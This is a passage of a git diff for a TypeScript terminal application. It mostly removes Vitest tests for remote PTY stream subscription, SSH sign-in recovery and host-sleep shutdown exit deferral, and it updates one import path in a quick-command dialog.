-        : {})
-    }
-    subscriptionSendBinary.mockImplementation((bytes) => {
-      if (decodeTerminalStreamFrame(bytes)?.opcode !== TerminalStreamOpcode.Subscribe) {
-        return
-      }
-      if (kind === 'new-C' || kind === 'new-D') {
-        const providerSession = {
-          key: 'session_id' as const,
-          id: kind === 'new-D' ? 'D' : 'C'
-        }
-        const newer = {
-          ...startup,
-          resumeProviderSession: providerSession,
-          resumeSource: { cancelled: false }
-        }
-        session.paneStartup = newer
-        session.pendingStartupCommand = newer
-        registry[record.paneKey] = { launchConfig: actualConfig, identity: {}, registeredAt: 20 }
-        records[record.paneKey] = { ...record, providerSession, updatedAt: 20 }
-      }
-      if (kind === 'stale-generation') {
-        session.transportStreamGeneration += 1
-      }
-      const { streamId, terminal } = latestSubscribePayload()
-      // Arrive synchronously while subscribeTerminal is still installing the stream.
-      if (kind === 'ackless') {
-        return
-      }
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'subscribed',
-          streamId,
-          terminal,
-          ...(kind === 'legacy'
-            ? {}
-            : {
-                launchResult:
-                  kind === 'malformed'
-                    ? { ...launchResult, savedResumeDecision: { agent: 'codex' } }
-                    : launchResult
-              })
-        }
-      })
-    })
-    try {
-      transport.attach({ existingPtyId: 'remote:env-1@@terminal-1', callbacks: output.callbacks })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      await new Promise((resolve) => setTimeout(resolve, 0))
-      expect(callbacksReady).not.toHaveBeenCalled()
-      const { streamId } = latestSubscribePayload()
-      const resolvesBeforeSnapshot = runtimeCall.mock.calls.filter(
-        ([request]) => request.method === 'terminal.resolvePane'
-      ).length
-      transport.sendInput('ordinary-input', 'driving')
-      if (kind === 'ackless') {
-        expect(inputFrameTexts().join('')).not.toContain('ordinary-input')
-      } else {
-        await vi.waitFor(() => expect(inputFrameTexts().join('')).toContain('ordinary-input'))
-      }
-      if (kind === 'refused' || kind === 'bookkeeping-error' || kind === 'unavailable') {
-        expect(session.pendingStartupCommand).toBeNull()
-      }
-      emitSnapshot(streamId, 'shell$ ')
-      await vi.waitFor(() => expect(inputFrameTexts().join('')).toContain('ordinary-input'))
-      if (kind !== 'stale-generation') {
-        expect(callbacksReady).toHaveBeenCalledTimes(1)
-      }
-      const refused =
-        kind === 'refused' || kind === 'bookkeeping-error' || kind === 'new-C' || kind === 'new-D'
-      expect(source.cancelled).toBe(refused || kind === 'unavailable')
-      expect(note).toHaveBeenCalledTimes(
-        kind === 'refused' ||
-          kind === 'bookkeeping-error' ||
-          kind === 'observer-only' ||
-          kind === 'unavailable'
-          ? 1
-          : 0
-      )
-      expect(clearRecord).toHaveBeenCalledTimes(
-        kind === 'refused' || kind === 'unavailable' ? 1 : 0
-      )
-      if (kind === 'new-C' || kind === 'new-D') {
-        expect(session.paneStartup?.resumeSource?.cancelled).toBe(false)
-        expect(session.pendingStartupCommand).toBe(session.paneStartup)
-        expect(records[record.paneKey].updatedAt).toBe(20)
-        expect(register).not.toHaveBeenCalled()
-      } else if (kind === 'adopted' || kind === 'unavailable') {
-        expect(register).toHaveBeenCalledWith(actualConfig, {
-          launchAgent: 'codex',
-          launchToken: 'actual-token'
-        })
-      } else if (kind === 'refused' || kind === 'observer-only') {
-        expect(session.pendingStartupCommand).toBeNull()
-        expect(session.paneStartup).toBeNull()
-        expect(register).toHaveBeenCalledWith(undefined, {
-          launchAgent: undefined,
-          launchToken: undefined
-        })
-      } else if (kind !== 'bookkeeping-error') {
-        expect(register).not.toHaveBeenCalled()
-      }
-      if (kind === 'adopted-D') {
-        applyTerminalLaunchResult(
-          session,
-          { ...launchResult, isReattach: true },
-          output.launchContext,
-          'creator'
-        )
-        expect(source.cancelled).toBe(false)
-        expect(session.pendingStartupCommand?.resumeSource).toBe(source)
-        expect(records[record.paneKey]).toBe(record)
-        expect(clearRecord).not.toHaveBeenCalled()
-        expect(register).toHaveBeenCalledWith(actualConfig, {
-          launchAgent: 'codex',
-          launchToken: 'actual-token'
-        })
-      }
-      if (kind === 'refused' || kind === 'unavailable') {
-        // The returning creator repeats the acknowledgment; existing note idempotence survives.
-        applyTerminalLaunchResult(session, launchResult, output.launchContext, 'creator')
-        expect(note).toHaveBeenCalledTimes(1)
-      }
-      expect(inputFrameTexts().join('')).not.toContain('codex resume C')
-      expect(
-        runtimeCall.mock.calls.filter(([request]) => request.method === 'terminal.resolvePane')
-      ).toHaveLength(resolvesBeforeSnapshot)
-      expect(runtimeCall.mock.calls.some(([request]) => request.method === 'terminal.create')).toBe(
-        false
-      )
-      expect(runtimeCall.mock.calls.some(([request]) => request.method === 'terminal.send')).toBe(
-        false
-      )
-    } finally {
-      transport.disconnect()
-    }
-  }
-)
-
 it.each(['subscription', 'recovery'] as const)(
   'rejects predecessor %s facts while a successor connect owns the callback bundle',
   async (operation) => {
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-ssh-sign-in-recovery.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-ssh-sign-in-recovery.test.ts
index 349b2d202ef..bbcd6f5b7ce 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-ssh-sign-in-recovery.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-ssh-sign-in-recovery.test.ts
@@ -1,9 +1,6 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { PtyTransport, PtyTransportRecoveryState } from '../pty-transport-types'
-import {
-  createRemoteRuntimeTransportMocks,
-  readyHostSessionInventoryResponse
-} from '../remote/remote-runtime-pty-transport-test-harness'
+import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 import './recovery/remote-runtime-pty-recovery-state'
 import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
@@ -26,8 +23,6 @@ const {
   latestSubscribePayload,
   subscribedTerminalHandles,
   emitSnapshot,
-  emitOutput,
-  inputFrameTexts,
   resetRemoteRuntimeTransport
 } = createRemoteRuntimeTransportMocks({
   getCallbacks: () => subscriptionCallbacks,
@@ -67,126 +62,6 @@ afterEach(() => {
   expect(appStore.getState).not.toHaveBeenCalled()
 })
 
-async function mountAwaitingPane(tabId: string, failure: { message: string; code?: string }) {
-  let signedIn = false
-  const healthyCall = runtimeCall.getMockImplementation()
-  runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-    if (!signedIn) {
-      throw Object.assign(new Error(failure.message), failure.code ? { code: failure.code } : {})
-    }
-    if (request.method === 'session.tabs.list') {
-      return readyHostSessionInventoryResponse('terminal-existing')
-    }
-    return healthyCall?.(request)
-  })
-  const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-  await import('./recovery/remote-runtime-pty-recovery-state')
-  const { reviveRemoteRuntimePtyRecoveriesForEnvironment } =
-    await import('./recovery/remote-runtime-pty-control-ready-revivers')
-  const onData = vi.fn()
-  const onError = vi.fn()
-  const pane = createRemoteRuntimePtyTransport('env-1', {
-    worktreeId: 'wt-1',
-    tabId,
-    leafId: 'pane:1'
-  })
-  transport = pane
-  pane.attach({
-    existingPtyId: 'remote:env-1@@terminal-existing',
-    cols: 80,
-    rows: 24,
-    callbacks: { onData, onError }
-  })
-  await vi.advanceTimersByTimeAsync(0)
-  return {
-    pane,
-    onData,
-    onError,
-    signIn: () => {
-      signedIn = true
-      return reviveRemoteRuntimePtyRecoveriesForEnvironment('env-1')
-    }
-  }
-}
-
-describe.each([
-  { name: 'restored pane', tabId: 'tab-1' },
-  { name: 'host mirror', tabId: 'web-terminal-host-tab-1' }
-])('SSH sign-in recovery for a $name', ({ tabId }) => {
-  it.each(
-    pendingErrors.flatMap((failure) =>
-      [false, true].map((late) => ({
-        ...failure,
-        late,
-        timing: late ? 'after the recovery deadline' : 'before the recovery deadline'
-      }))
-    )
-  )('restores original-terminal I/O for $name $timing', async (failure) => {
-    const { pane, onData, onError, signIn } = await mountAwaitingPane(tabId, failure)
-    expect(pane.getRecoveryState?.()).toMatchObject({ phase: 'backoff', reason: 'ssh-sign-in' })
-    expect(subscribedTerminalHandles()).toEqual([])
-
-    if (failure.late) {
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-      expect(pane.getRecoveryState?.().phase).toBe('disconnected')
-    }
-
-    expect(signIn()).toBe(1)
-    await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe('terminal-existing'))
-    const { streamId } = latestSubscribePayload()
-    subscriptionCallbacks?.onResponse({ ok: true, result: { type: 'subscribed', streamId } })
-    emitSnapshot(streamId, 'restored prompt$ ')
-    emitOutput(streamId, 'resumed output\r\n', 4)
-
-    expect(pane.isConnected()).toBe(true)
-    expect(pane.getPtyId()).toBe('remote:env-1@@terminal-existing')
-    expect(onData).toHaveBeenCalledWith('resumed output\r\n', expect.any(Object))
-    expect(pane.sendInputImmediate('echo recovered\r')).toBe(true)
-    expect(inputFrameTexts()).toEqual(['echo recovered\r'])
-    expect(onError).not.toHaveBeenCalled()
-    expect(
-      runtimeCall.mock.calls.filter(([request]) => request.method === 'terminal.create')
-    ).toEqual([])
-  })
-
-  it.each([
-    { name: 'rejected credentials', message: 'All configured authentication methods failed' },
-    {
-      name: 'sign-in message combined with another failure',
-      message: 'SSH host needs you to sign in. Reconnect to sign in.\nPermission denied.'
-    },
-    {
-      name: 'rejected pairing',
-      message: 'Remote runtime pairing credentials expired.',
-      code: 'unauthorized'
-    }
-  ])('does not auto-revive $name', async (failure) => {
-    const { pane, signIn } = await mountAwaitingPane(tabId, failure)
-    expect(pane.getRecoveryState?.().phase).toBe('offline')
-    const callsAfterFailure = runtimeCall.mock.calls.length
-
-    expect(signIn()).toBe(0)
-    await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-
-    expect(pane.isConnected()).toBe(false)
-    expect(subscribedTerminalHandles()).toEqual([])
-    expect(runtimeCall).toHaveBeenCalledTimes(callsAfterFailure)
-  })
-
-  it.each(['detach', 'destroy'] as const)('does not revive a pane after %s', async (teardown) => {
-    const { pane, signIn } = await mountAwaitingPane(tabId, pendingErrors[0])
-    expect(pane.getRecoveryState?.().phase).toBe('backoff')
-    pane[teardown]?.()
-    const callsAfterTeardown = runtimeCall.mock.calls.length
-
-    expect(signIn()).toBe(0)
-    await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-
-    expect(subscribedTerminalHandles()).toEqual([])
-    expect(runtimeCall).toHaveBeenCalledTimes(callsAfterTeardown)
-  })
-})
-
 async function mountNewPaneAwaitingSignIn(failure: { message: string }, afterSignIn?: () => void) {
   let signedIn = false
   const healthyCall = runtimeCall.getMockImplementation()
@@ -240,65 +115,6 @@ async function mountNewPaneAwaitingSignIn(failure: { message: string }, afterSig
 }
 
 describe('SSH sign-in for a terminal created while the host waits for sign-in', () => {
-  it.each(
-    pendingErrors.flatMap((failure) =>
-      [false, true].map((late) => ({
-        ...failure,
-        late,
-        timing: late ? 'after the recovery deadline' : 'before the recovery deadline'
-      }))
-    )
-  )('waits for sign-in and then starts for $name $timing', async (failure) => {
-    const { pane, onError, onPtySpawn, signIn, connected, connectSettled } =
-      await mountNewPaneAwaitingSignIn(failure)
-    expect(pane.getRecoveryState?.()).toMatchObject({
-      phase: 'backoff',
-      reason: 'ssh-sign-in'
-    })
-    expect(onError).not.toHaveBeenCalled()
-    expect(connectSettled()).toBe(false)
-
-    if (failure.late) {
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-      expect(pane.getRecoveryState?.()).toMatchObject({
-        phase: 'disconnected',
-        reason: 'ssh-sign-in'
-      })
-    }
-
-    expect(signIn()).toBe(1)
-    await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe('terminal-1'))
-    const { streamId } = latestSubscribePayload()
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: { type: 'subscribed', streamId }
-    })
-    emitSnapshot(streamId, 'fresh prompt$ ')
-
-    expect(onPtySpawn).toHaveBeenCalledTimes(1)
-    expect(onPtySpawn).toHaveBeenCalledWith('remote:env-1@@terminal-1')
-    // The original spawn settles with the post-sign-in create, so its finalization still runs.
-    await expect(connected).resolves.toMatchObject({ id: 'remote:env-1@@terminal-1' })
-    expect(pane.isConnected()).toBe(true)
-    expect(pane.getRecoveryState?.().reason).toBeUndefined()
-    expect(onError).not.toHaveBeenCalled()
-  })
-
-  it('starts after a sign-in that was cancelled and completed later', async () => {
-    const failure = { message: pendingErrors[0].message }
-    const pending = await mountNewPaneAwaitingSignIn(failure)
-    failure.message = pendingErrors[2].message
-    await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-    expect(pending.pane.getRecoveryState?.()).toMatchObject({
-      phase: 'disconnected',
-      reason: 'ssh-sign-in'
-    })
-
-    expect(pending.signIn()).toBe(1)
-    await vi.waitFor(() => expect(pending.onPtySpawn).toHaveBeenCalledTimes(1))
-    expect(pending.onError).not.toHaveBeenCalled()
-  })
-
   it('settles the original spawn when the stream, not the create, waited for sign-in', async () => {
     resolvedPaneHandle = 'terminal-1'
     let signedIn = false
@@ -336,24 +152,6 @@ describe('SSH sign-in for a terminal created while the host waits for sign-in',
     expect(onPtySpawn).toHaveBeenCalledTimes(1)
   })
 
-  it('stops showing the sign-in wait once sign-in finishes, even while the create still retries', async () => {
-    const { pane, lastPublishedState, signIn } = await mountNewPaneAwaitingSignIn(
-      pendingErrors[0],
-      () => {
-        throw Object.assign(new Error('Could not connect to the remote Orca runtime.'), {
-          code: 'remote_runtime_unavailable'
-        })
-      }
-    )
-    expect(lastPublishedState()?.reason).toBe('ssh-sign-in')
-
-    signIn()
-    await vi.advanceTimersByTimeAsync(0)
-
-    expect(pane.getRecoveryState?.().phase).not.toBe('idle')
-    expect(lastPublishedState()?.reason).toBeUndefined()
-  })
-
   it.each(['destroy', 'disconnect'] as const)(
     'spawns nothing after sign-in once the pending terminal is closed (%s)',
     async (teardown) => {
@@ -372,17 +170,4 @@ describe('SSH sign-in for a terminal created while the host waits for sign-in',
       expect(subscribedTerminalHandles()).toEqual([])
     }
   )
-
-  it('still reports rejected credentials instead of waiting', async () => {
-    const { pane, onError, signIn, createCalls } = await mountNewPaneAwaitingSignIn({
-      message: 'All configured authentication methods failed'
-    })
-    expect(onError).toHaveBeenCalledWith('All configured authentication methods failed')
-    expect(pane.getRecoveryState?.().reason).toBeUndefined()
-    const createsAfterFailure = createCalls().length
-
-    expect(signIn()).toBe(0)
-    await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-    expect(createCalls()).toHaveLength(createsAfterFailure)
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension.test.ts
index b4d36e8e769..2f1b3e95c3d 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension.test.ts
@@ -34,27 +34,6 @@ it('does not remove handlers installed by a remount while sleep is pending', ()
   ptyReplayHandlers.delete(ptyId)
 })
 
-it('replays rollback output in its original replay and live arrival order', () => {
-  const ptyId = 'pty-shutdown-output-order'
-  const delivered: string[] = []
-  const meta = { seq: 9, rawLength: 3, transformed: true }
-  const sidecar = vi.fn((data: string) => delivered.push(`sidecar:${data}`))
-  ptyDataHandlers.set(ptyId, (data) => delivered.push(`data:${data}`))
-  ptyReplayHandlers.set(ptyId, (data) => delivered.push(`replay:${data}`))
-  ptyDataSidecars.set(ptyId, new Set([sidecar]))
-
-  const [snapshot] = unregisterPtyDataHandlers([ptyId])
-  bufferPtyShutdownReplayData(ptyId, 'old')
-  bufferPtyShutdownData(ptyId, 'new', meta)
-  snapshot.rollback()
-
-  expect(delivered).toEqual(['replay:old', 'data:new', 'sidecar:new'])
-  expect(sidecar).toHaveBeenCalledOnce()
-  ptyDataHandlers.delete(ptyId)
-  ptyDataSidecars.delete(ptyId)
-  ptyReplayHandlers.delete(ptyId)
-})
-
 it('drains pre-handler data before ordered shutdown output', () => {
   const ptyId = 'pty-shutdown-pre-handler-order'
   const delivered: string[] = []
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-exit-deferral.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-exit-deferral.test.ts
index 50be83d3927..603ee4177c2 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-exit-deferral.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/shutdown/pty-shutdown-exit-deferral.test.ts
@@ -1,11 +1,7 @@
 import { expect, it, vi } from 'vitest'
 import {
   applyHostWorktreeTerminalSleepState,
-  consumeCommittedPtyShutdownExit,
-  deferPtyShutdownExit,
-  isHostPtySleepPending,
-  markCommittedPtyShutdowns,
-  settleDeferredPtyShutdownExits
+  deferPtyShutdownExit
 } from './pty-shutdown-exit-deferral'
 import { toRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import {
@@ -17,126 +13,6 @@ import {
   ptyShutdownLifecycleHandlers
 } from './pty-shutdown-data-suspension'
 
-it('settles every deferred exit even when one cleanup throws', () => {
-  const consoleError = vi.spyOn(console, 'error').mockImplementation(() => {})
-  const second = vi.fn()
-  deferPtyShutdownExit('pty-callback-isolation', () => {
-    throw new Error('disposed pane')
-  })
-  deferPtyShutdownExit('pty-callback-isolation', second)
-
-  expect(() =>
-    settleDeferredPtyShutdownExits(['pty-callback-isolation'], 'committed')
-  ).not.toThrow()
-  expect(second).toHaveBeenCalledWith('committed')
-  expect(consoleError).toHaveBeenCalled()
-  consoleError.mockRestore()
-})
-
-it('consumes a committed late-exit guard only once', () => {
-  markCommittedPtyShutdowns(['pty-late-commit'])
-
-  expect(consumeCommittedPtyShutdownExit('pty-late-commit')).toBe(true)
-  expect(consumeCommittedPtyShutdownExit('pty-late-commit')).toBe(false)
-})
-
-it('clears a committed guard when its deferred exit is replayed', () => {
-  const callback = vi.fn()
-  deferPtyShutdownExit('pty-deferred-commit', callback)
-  markCommittedPtyShutdowns(['pty-deferred-commit'])
-
-  settleDeferredPtyShutdownExits(['pty-deferred-commit'], 'committed')
-
-  expect(callback).toHaveBeenCalledWith('committed')
-  expect(consumeCommittedPtyShutdownExit('pty-deferred-commit')).toBe(false)
-})
-
-it('preserves another client binding through host sleep until the host reports wake', () => {
-  const callback = vi.fn()
-  const remotePtyId = toRemoteRuntimePtyId('terminal-handle-observer', 'env-a')
-  const started = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::C:\\worktree',
-    generation: 7,
-    phase: 'started' as const,
-    ptyIds: ['pty-observer'],
-    terminalHandles: ['terminal-handle-observer']
-  }
-  applyHostWorktreeTerminalSleepState('env-a', started)
-  expect(isHostPtySleepPending(remotePtyId, 'env-a')).toBe(true)
-  expect(isHostPtySleepPending(remotePtyId, 'env-b')).toBe(false)
-  deferPtyShutdownExit(remotePtyId, callback)
-
-  applyHostWorktreeTerminalSleepState('env-a', { ...started, phase: 'committed' })
-  expect(callback).toHaveBeenCalledWith('committed')
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-a')).toBe(true)
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-b')).toBe(false)
-
-  applyHostWorktreeTerminalSleepState('env-a', { ...started, phase: 'woken' })
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-a')).toBe(false)
-})
-
-it('accepts an ordered local host reversible-stop exit before pane cleanup', () => {
-  markCommittedPtyShutdowns(['pty-host-renderer'])
-
-  expect(consumeCommittedPtyShutdownExit('pty-host-renderer')).toBe(true)
-})
-
-it('suspends passive-client output until the host sleep disposition settles', () => {
-  const remotePtyId = toRemoteRuntimePtyId('terminal-passive', 'env-passive')
-  const dataHandler = vi.fn()
-  const replayHandler = vi.fn()
-  const lifecycle = { pause: vi.fn(), rollback: vi.fn(), commit: vi.fn() }
-  ptyDataHandlers.set(remotePtyId, dataHandler)
-  ptyReplayHandlers.set(remotePtyId, replayHandler)
-  ptyShutdownLifecycleHandlers.set(remotePtyId, lifecycle)
-  const event = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::worktree',
-    generation: 31,
-    phase: 'started' as const,
-    ptyIds: ['pty-passive'],
-    terminalHandles: ['terminal-passive']
-  }
-
-  applyHostWorktreeTerminalSleepState('env-passive', event)
-  expect(lifecycle.pause).toHaveBeenCalledOnce()
-  expect(isPtyDataHandlerShutdownPending(remotePtyId)).toBe(true)
-  expect(bufferPtyShutdownData(remotePtyId, 'teardown flush')).toBe(true)
-  expect(dataHandler).not.toHaveBeenCalled()
-
-  applyHostWorktreeTerminalSleepState('env-passive', { ...event, phase: 'cancelled' })
-  expect(lifecycle.rollback).toHaveBeenCalledOnce()
-  expect(dataHandler).toHaveBeenCalledWith('teardown flush', undefined)
-  ptyDataHandlers.delete(remotePtyId)
-  ptyReplayHandlers.delete(remotePtyId)
-  ptyShutdownLifecycleHandlers.delete(remotePtyId)
-})
-
-it('expires a committed host disposition when a disconnected client misses wake', () => {
-  vi.useFakeTimers()
-  try {
-    vi.setSystemTime(new Date('2026-07-21T00:00:00Z'))
-    const remotePtyId = toRemoteRuntimePtyId('terminal-reused', 'env-expiry')
-    const event = {
-      type: 'worktreeTerminalSleepState' as const,
-      worktreeId: 'repo::worktree',
-      generation: 41,
-      phase: 'committed' as const,
-      ptyIds: ['pty-reused'],
-      terminalHandles: ['terminal-reused']
-    }
-    applyHostWorktreeTerminalSleepState('env-expiry', event)
-    expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-expiry')).toBe(true)
-
-    applyHostWorktreeTerminalSleepState('env-expiry', event)
-    vi.advanceTimersByTime(30_001)
-    expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-expiry')).toBe(false)
-  } finally {
-    vi.useRealTimers()
-  }
-})
-
 it('autonomously rolls back a pending host sleep when its outcome is missed', () => {
   vi.useFakeTimers()
   const remotePtyId = toRemoteRuntimePtyId('terminal-timeout', 'env-timeout')
@@ -176,175 +52,3 @@ it('autonomously rolls back a pending host sleep when its outcome is missed', ()
     vi.useRealTimers()
   }
 })
-
-it('rearms pending expiry for a duplicate host started event', () => {
-  vi.useFakeTimers()
-  try {
-    vi.setSystemTime(new Date('2026-07-21T00:00:00Z'))
-    const remotePtyId = toRemoteRuntimePtyId('terminal-duplicate', 'env-duplicate')
-    const event = {
-      type: 'worktreeTerminalSleepState' as const,
-      worktreeId: 'repo::worktree',
-      generation: 61,
-      phase: 'started' as const,
-      ptyIds: ['pty-duplicate'],
-      terminalHandles: ['terminal-duplicate']
-    }
-    applyHostWorktreeTerminalSleepState('env-duplicate', event)
-    vi.advanceTimersByTime(20_000)
-    applyHostWorktreeTerminalSleepState('env-duplicate', event)
-
-    vi.advanceTimersByTime(10_001)
-    expect(isHostPtySleepPending(remotePtyId, 'env-duplicate')).toBe(true)
-    vi.advanceTimersByTime(20_000)
-    expect(isHostPtySleepPending(remotePtyId, 'env-duplicate')).toBe(false)
-  } finally {
-    vi.useRealTimers()
-  }
-})
-
-it('ignores an older commit after a newer sleep generation starts', () => {
-  const remotePtyId = toRemoteRuntimePtyId('terminal-generation', 'env-generation')
-  const event = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::worktree',
-    phase: 'started' as const,
-    ptyIds: ['pty-generation'],
-    terminalHandles: ['terminal-generation']
-  }
-  applyHostWorktreeTerminalSleepState('env-generation', { ...event, generation: 72 })
-
-  applyHostWorktreeTerminalSleepState('env-generation', {
-    ...event,
-    generation: 71,
-    phase: 'committed'
-  })
-
-  expect(isHostPtySleepPending(remotePtyId, 'env-generation')).toBe(true)
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-generation')).toBe(false)
-  applyHostWorktreeTerminalSleepState('env-generation', {
-    ...event,
-    generation: 72,
-    phase: 'cancelled'
-  })
-})
-
-it('retains a cancelled generation barrier against an older commit', () => {
-  const remotePtyId = toRemoteRuntimePtyId('terminal-cancelled-order', 'env-order')
-  const event = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::worktree',
-    ptyIds: ['pty-cancelled-order'],
-    terminalHandles: ['terminal-cancelled-order']
-  }
-  applyHostWorktreeTerminalSleepState('env-order', {
-    ...event,
-    generation: 82,
-    phase: 'started'
-  })
-  applyHostWorktreeTerminalSleepState('env-order', {
-    ...event,
-    generation: 82,
-    phase: 'cancelled'
-  })
-
-  applyHostWorktreeTerminalSleepState('env-order', {
-    ...event,
-    generation: 81,
-    phase: 'committed'
-  })
-
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-order')).toBe(false)
-})
-
-it('retains a woken generation barrier against an older start', () => {
-  const remotePtyId = toRemoteRuntimePtyId('terminal-woken-order', 'env-order')
-  const event = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::worktree',
-    ptyIds: ['pty-woken-order'],
-    terminalHandles: ['terminal-woken-order']
-  }
-  applyHostWorktreeTerminalSleepState('env-order', {
-    ...event,
-    generation: 92,
-    phase: 'committed'
-  })
-  applyHostWorktreeTerminalSleepState('env-order', {
-    ...event,
-    generation: 92,
-    phase: 'woken'
-  })
-
-  applyHostWorktreeTerminalSleepState('env-order', {
-    ...event,
-    generation: 91,
-    phase: 'started'
-  })
-
-  expect(isHostPtySleepPending(remotePtyId, 'env-order')).toBe(false)
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-order')).toBe(false)
-})
-
-it('does not regress a committed generation back to started', () => {
-  const remotePtyId = toRemoteRuntimePtyId('terminal-committed-order', 'env-order')
-  const event = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::worktree',
-    generation: 102,
-    ptyIds: ['pty-committed-order'],
-    terminalHandles: ['terminal-committed-order']
-  }
-  applyHostWorktreeTerminalSleepState('env-order', { ...event, phase: 'committed' })
-
-  applyHostWorktreeTerminalSleepState('env-order', { ...event, phase: 'started' })
-
-  expect(isHostPtySleepPending(remotePtyId, 'env-order')).toBe(false)
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-order')).toBe(true)
-  expect(consumeCommittedPtyShutdownExit(remotePtyId, 'env-order')).toBe(false)
-})
-
-it('commits a pending exit when wake proves the sleep completed', () => {
-  const remotePtyId = toRemoteRuntimePtyId('terminal-missed-commit', 'env-missed-commit')
-  const lifecycle = { pause: vi.fn(), rollback: vi.fn(), commit: vi.fn() }
-  const exitHandler = vi.fn()
-  ptyShutdownLifecycleHandlers.set(remotePtyId, lifecycle)
-  const event = {
-    type: 'worktreeTerminalSleepState' as const,
-    worktreeId: 'repo::worktree',
-    generation: 111,
-    ptyIds: ['pty-missed-commit'],
-    terminalHandles: ['terminal-missed-commit']
-  }
-  applyHostWorktreeTerminalSleepState('env-missed-commit', { ...event, phase: 'started' })
-  deferPtyShutdownExit(remotePtyId, exitHandler)
-
-  applyHostWorktreeTerminalSleepState('env-missed-commit', { ...event, phase: 'woken' })
-
-  expect(lifecycle.commit).toHaveBeenCalledOnce()
-  expect(lifecycle.rollback).not.toHaveBeenCalled()
-  expect(exitHandler).toHaveBeenCalledWith('committed')
-  expect(isHostPtySleepPending(remotePtyId, 'env-missed-commit')).toBe(false)
-  ptyShutdownLifecycleHandlers.delete(remotePtyId)
-})
-
-it('retains every active host guard above the former count cap', () => {
-  const ptyIds: string[] = []
-  for (let index = 0; index < 513; index += 1) {
-    const handle = `terminal-large-${index}`
-    const remotePtyId = toRemoteRuntimePtyId(handle, 'env-large')
-    ptyIds.push(remotePtyId)
-    applyHostWorktreeTerminalSleepState('env-large', {
-      type: 'worktreeTerminalSleepState',
-      worktreeId: 'repo::large-worktree',
-      generation: 121,
-      phase: 'committed',
-      ptyIds: [`pty-large-${index}`],
-      terminalHandles: [handle]
-    })
-  }
-
-  for (const ptyId of ptyIds) {
-    expect(consumeCommittedPtyShutdownExit(ptyId, 'env-large')).toBe(true)
-  }
-})
diff --git a/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx b/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx
index 0abeada0bba..1095dfe7b70 100644
--- a/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx
+++ b/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx
@@ -1,5 +1,5 @@
 import { useAppStore } from '../../../store/index'
-import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal-quick-command-host-prompt-limit'
+import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit'
 import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host'
 import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types'
 import { TerminalQuickCommandDialog } from '@/components/terminal-quick-commands/TerminalQuickCommandDialog'
